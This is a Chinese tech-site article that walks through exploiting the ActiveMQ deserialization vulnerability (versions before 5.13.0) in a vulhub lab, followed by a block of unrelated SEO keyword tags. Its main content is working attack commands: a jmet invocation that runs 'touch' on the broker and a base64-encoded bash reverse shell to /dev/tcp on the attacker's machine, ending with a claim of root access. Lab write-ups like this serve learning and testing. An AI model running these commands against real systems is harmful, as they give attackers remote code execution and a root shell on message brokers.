千家信息网

ActiveMQ反序列化任意命令执行漏洞的实例分析

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,本篇文章为大家展示了ActiveMQ反序列化任意命令执行漏洞的实例分析,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。前言Apache ActiveMQ 5.1
千家信息网最后更新 2026年10月31日ActiveMQ反序列化任意命令执行漏洞的实例分析

本篇文章为大家展示了ActiveMQ反序列化任意命令执行漏洞的实例分析,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。

前言

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。

利用

环境搭建:https://vulhub.org/#/docs/

工具下载:

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

kali :192.168.110.208

vulhub漏洞环境:192.168.110.213

首先进入jmet安装目录我这里安装在/opt下

远程创建文件:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/wys" -Yp ROME 192.168.110.213 61616

此时会给目标的ActiveMQ添加一个名为事件的队列,可以我们通过http://192.168.110.213:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:

点击查看相应的id号消息即可触发命令执行

此时进入容器

docker-compose exec activemq bash

发现创建的文件

kali弹shell:

将bash -i >& /dev/tcp/192.168.110.208/8888 0>&1 base64编码得到

YmFzaCAtaSA+JiAvZGV2L3RjcC8xO.......yMDgvODg4OCAwPiYxCg==

payload如下:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8x.......MDgvODg4OCAwPiYxCg==}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.110.213 61616

kali监听,成功,拿到root权限

上述内容就是ActiveMQ反序列化任意命令执行漏洞的实例分析,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注行业资讯频道。

漏洞 序列 命令 消息 实例 实例分析 分析 内容 技能 文件 环境 知识 队列 简明 安全 成功 简明扼要 事件 代码 前言 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 手冲咖啡和咖啡机区别 科技互联网公司装修 易互联网科技有限公司 互联网科技金融公司 嘟嘟瓜互联网科技 广州互联网络科技有限公司 互联网科技logo设计 人人互联网科技是培训 富国互联网科技创新基金 西藏七维空间互联网科技有限公司 须眉科技是互联网公司吗 温州喔噻互联网科技有限公司 承德科技产业互联网发展 花神(南京)互联网科技有限公司 华夏互联网科技业 西安小鹰速贷互联网科技有限公司 广州富喜互联网络科技 半导体行业属于互联网高科技类吗 广州互联网高科技取餐柜 南京一网一红互联网科技有限公司 互联网黑科技 山东特亿宝互联网科技有限公司 互联网扶贫科技 互联网科技开发公司 上海互联网科技有限公司 喔噻互联网科技 齐家互联网科技 互联网科技公司有哪些 隆华科技工业互联网 广州市恰铎互联网科技有限公司
0